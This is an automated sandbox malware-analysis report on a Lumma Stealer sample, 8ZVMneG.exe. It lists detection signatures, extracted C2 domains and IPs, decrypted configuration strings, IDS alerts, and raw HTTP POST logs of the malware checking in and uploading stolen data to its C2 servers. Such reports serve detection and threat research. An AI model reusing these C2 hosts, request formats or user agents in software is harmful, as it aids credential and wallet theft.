Edit tour

Windows Analysis Report
8ZVMneG.exe

Overview

General Information

Sample name:	8ZVMneG.exe
Analysis ID:	1578702
MD5:	e8af4d0d0b47ac68d762b7f288ae8e6e
SHA1:	1d65f31526cc20ab41d6b1625d6674d7f13e326c
SHA256:	b83449768e7af68867c8bc42b19ff012722d88ea66aef69df48661e63e0eb15e
Tags:	exeuser-lontze7
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Performs DNS queries to domains with low reputation

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

8ZVMneG.exe (PID: 6672 cmdline: "C:\Users\user\Desktop\8ZVMneG.exe" MD5: E8AF4D0D0B47AC68D762B7F288AE8E6E)

conhost.exe (PID: 1916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

8ZVMneG.exe (PID: 2144 cmdline: "C:\Users\user\Desktop\8ZVMneG.exe" MD5: E8AF4D0D0B47AC68D762B7F288AE8E6E)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["debonairnukk.xyz", "sordid-snaked.cyou", "awake-weaves.cyou", "deafeninggeh.biz", "wrathful-jammy.cyou", "bellflamre.click", "effecterectz.xyz", "immureprech.biz", "diffuculttan.xyz"], "Build id": "LPnhqo--nbgnxdlxdnyo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: 8ZVMneG.exe PID: 2144	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 8ZVMneG.exe PID: 2144	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 8ZVMneG.exe PID: 2144	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:04:04.762697+0100	2028371	3	Unknown Traffic	192.168.2.6	49708	178.62.201.34	443	TCP
2024-12-20T07:04:08.073287+0100	2028371	3	Unknown Traffic	192.168.2.6	49710	178.62.201.34	443	TCP
2024-12-20T07:04:11.747273+0100	2028371	3	Unknown Traffic	192.168.2.6	49721	23.55.153.106	443	TCP
2024-12-20T07:04:14.477255+0100	2028371	3	Unknown Traffic	192.168.2.6	49730	104.21.66.86	443	TCP
2024-12-20T07:04:16.977941+0100	2028371	3	Unknown Traffic	192.168.2.6	49737	104.21.66.86	443	TCP
2024-12-20T07:04:20.251562+0100	2028371	3	Unknown Traffic	192.168.2.6	49748	104.21.66.86	443	TCP
2024-12-20T07:04:22.408919+0100	2028371	3	Unknown Traffic	192.168.2.6	49754	104.21.66.86	443	TCP
2024-12-20T07:04:24.648073+0100	2028371	3	Unknown Traffic	192.168.2.6	49760	104.21.66.86	443	TCP
2024-12-20T07:04:27.199008+0100	2028371	3	Unknown Traffic	192.168.2.6	49765	104.21.66.86	443	TCP
2024-12-20T07:04:29.656807+0100	2028371	3	Unknown Traffic	192.168.2.6	49771	104.21.66.86	443	TCP
2024-12-20T07:04:33.207297+0100	2028371	3	Unknown Traffic	192.168.2.6	49781	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:04:05.330048+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49708	178.62.201.34	443	TCP
2024-12-20T07:04:08.643870+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49710	178.62.201.34	443	TCP
2024-12-20T07:04:15.538055+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49730	104.21.66.86	443	TCP
2024-12-20T07:04:17.761204+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49737	104.21.66.86	443	TCP
2024-12-20T07:04:33.968807+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49781	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:04:05.330048+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49708	178.62.201.34	443	TCP
2024-12-20T07:04:08.643870+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49710	178.62.201.34	443	TCP
2024-12-20T07:04:15.538055+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49730	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:04:17.761204+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49737	104.21.66.86	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (deafeninggeh .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:04:08.073287+0100	2058215	1	Domain Observed Used for C2 Detected	192.168.2.6	49710	178.62.201.34	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (immureprech .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:04:04.762697+0100	2058223	1	Domain Observed Used for C2 Detected	192.168.2.6	49708	178.62.201.34	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (awake-weaves .cyou)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:04:09.691347+0100	2058210	1	Domain Observed Used for C2 Detected	192.168.2.6	55633	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bellflamre .click)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:04:01.704512+0100	2058212	1	Domain Observed Used for C2 Detected	192.168.2.6	64563	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (deafeninggeh .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:04:05.333755+0100	2058214	1	Domain Observed Used for C2 Detected	192.168.2.6	51110	1.1.1.1	53	UDP
2024-12-20T07:04:06.343594+0100	2058214	1	Domain Observed Used for C2 Detected	192.168.2.6	51110	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (debonairnukk .xyz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:04:09.249702+0100	2058216	1	Domain Observed Used for C2 Detected	192.168.2.6	61345	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (diffuculttan .xyz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:04:09.024667+0100	2058218	1	Domain Observed Used for C2 Detected	192.168.2.6	49664	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (effecterectz .xyz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:04:08.719711+0100	2058220	1	Domain Observed Used for C2 Detected	192.168.2.6	59800	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (immureprech .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:04:02.024946+0100	2058222	1	Domain Observed Used for C2 Detected	192.168.2.6	58022	1.1.1.1	53	UDP
2024-12-20T07:04:03.018352+0100	2058222	1	Domain Observed Used for C2 Detected	192.168.2.6	58022	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sordid-snaked .cyou)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:04:09.910772+0100	2058226	1	Domain Observed Used for C2 Detected	192.168.2.6	54862	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wrathful-jammy .cyou)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:04:09.472443+0100	2058236	1	Domain Observed Used for C2 Detected	192.168.2.6	61530	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:04:27.960398+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49765	104.21.66.86	443	TCP

ETPRO MALWARE Malicious SSL Certificate Detected (Linux.Rex Scanner)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:04:04.765168+0100	2822521	1	Domain Observed Used for C2 Detected	178.62.201.34	443	192.168.2.6	49708	TCP
2024-12-20T07:04:08.074752+0100	2822521	1	Domain Observed Used for C2 Detected	178.62.201.34	443	192.168.2.6	49710	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T07:04:12.667635+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	49721	23.55.153.106	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000000.00000002.2160722353.0000000002A73000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["debonairnukk.xyz", "sordid-snaked.cyou", "awake-weaves.cyou", "deafeninggeh.biz", "wrathful-jammy.cyou", "bellflamre.click", "effecterectz.xyz", "immureprech.biz", "diffuculttan.xyz"], "Build id": "LPnhqo--nbgnxdlxdnyo"}

Multi AV Scanner detection for submitted file

Source: 8ZVMneG.exe	Virustotal: Detection: 65%			Perma Link
Source: 8ZVMneG.exe	ReversingLabs: Detection: 71%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 94.5% probability

Machine Learning detection for sample

Source: 8ZVMneG.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000003.00000002.2484060746.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: sordid-snaked.cyou
Source: 00000003.00000002.2484060746.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: awake-weaves.cyou
Source: 00000003.00000002.2484060746.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: wrathful-jammy.cyou
Source: 00000003.00000002.2484060746.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: debonairnukk.xyz
Source: 00000003.00000002.2484060746.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: diffuculttan.xyz
Source: 00000003.00000002.2484060746.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: effecterectz.xyz
Source: 00000003.00000002.2484060746.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: deafeninggeh.biz
Source: 00000003.00000002.2484060746.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: immureprech.biz
Source: 00000003.00000002.2484060746.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: bellflamre.click
Source: 00000003.00000002.2484060746.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000003.00000002.2484060746.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000003.00000002.2484060746.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000003.00000002.2484060746.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000003.00000002.2484060746.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000003.00000002.2484060746.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: LPnhqo--nbgnxdlxdnyo

Source: 8ZVMneG.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 178.62.201.34:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 178.62.201.34:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.6:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49781 version: TLS 1.2

Source: 8ZVMneG.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 0_2_00EDD2A7 FindFirstFileExW,		0_2_00EDD2A7
Source: C:\Users\user\Desktop\8ZVMneG.exe	Code function: 0_2_00EDD358 FindFirstFileExW,FindNextFileW,FindClose,FindClose,		0_2_00EDD358

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058212 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bellflamre .click) : 192.168.2.6:64563 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058222 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (immureprech .biz) : 192.168.2.6:58022 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058214 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (deafeninggeh .biz) : 192.168.2.6:51110 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058223 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (immureprech .biz in TLS SNI) : 192.168.2.6:49708 -> 178.62.201.34:443
Source: Network traffic	Suricata IDS: 2058210 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (awake-weaves .cyou) : 192.168.2.6:55633 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058226 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sordid-snaked .cyou) : 192.168.2.6:54862 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2822521 - Severity 1 - ETPRO MALWARE Malicious SSL Certificate Detected (Linux.Rex Scanner) : 178.62.201.34:443 -> 192.168.2.6:49708
Source: Network traffic	Suricata IDS: 2058215 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (deafeninggeh .biz in TLS SNI) : 192.168.2.6:49710 -> 178.62.201.34:443
Source: Network traffic	Suricata IDS: 2822521 - Severity 1 - ETPRO MALWARE Malicious SSL Certificate Detected (Linux.Rex Scanner) : 178.62.201.34:443 -> 192.168.2.6:49710
Source: Network traffic	Suricata IDS: 2058236 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wrathful-jammy .cyou) : 192.168.2.6:61530 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058220 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (effecterectz .xyz) : 192.168.2.6:59800 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058218 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (diffuculttan .xyz) : 192.168.2.6:49664 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058216 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (debonairnukk .xyz) : 192.168.2.6:61345 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49737 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49708 -> 178.62.201.34:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49710 -> 178.62.201.34:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49730 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49737 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49730 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49708 -> 178.62.201.34:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49710 -> 178.62.201.34:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:49721 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49781 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49765 -> 104.21.66.86:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: debonairnukk.xyz
Source: Malware configuration extractor	URLs: sordid-snaked.cyou
Source: Malware configuration extractor	URLs: awake-weaves.cyou
Source: Malware configuration extractor	URLs: deafeninggeh.biz
Source: Malware configuration extractor	URLs: wrathful-jammy.cyou
Source: Malware configuration extractor	URLs: bellflamre.click
Source: Malware configuration extractor	URLs: effecterectz.xyz
Source: Malware configuration extractor	URLs: immureprech.biz
Source: Malware configuration extractor	URLs: diffuculttan.xyz

Performs DNS queries to domains with low reputation

Source:	DNS query: effecterectz.xyz
Source:	DNS query: diffuculttan.xyz
Source:	DNS query: debonairnukk.xyz

Source: Joe Sandbox View	IP Address: 104.21.66.86 104.21.66.86
Source: Joe Sandbox View	IP Address: 23.55.153.106 23.55.153.106
Source: Joe Sandbox View	IP Address: 178.62.201.34 178.62.201.34

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49708 -> 178.62.201.34:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49710 -> 178.62.201.34:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49721 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49748 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49754 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49737 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49730 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49760 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49765 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49771 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49781 -> 104.21.66.86:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: immureprech.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: deafeninggeh.biz
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 54Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=C5PLJO8RR7LUD8CMHBIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12872Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=UB6YY78GPNR7GMOC0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15106Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=ICQ9J4SUMK0W7VEBGUYUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19976Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=1NBWOHGWMH0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1184Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6DZ4WE0ATJK8ZMUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 587856Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 89Host: lev-tolstoi.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: 8ZVMneG.exe, 00000003.00000003.2402934236.00000000013FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: //www.youtube.com https://www.google.com equals www.youtube.com (Youtube)
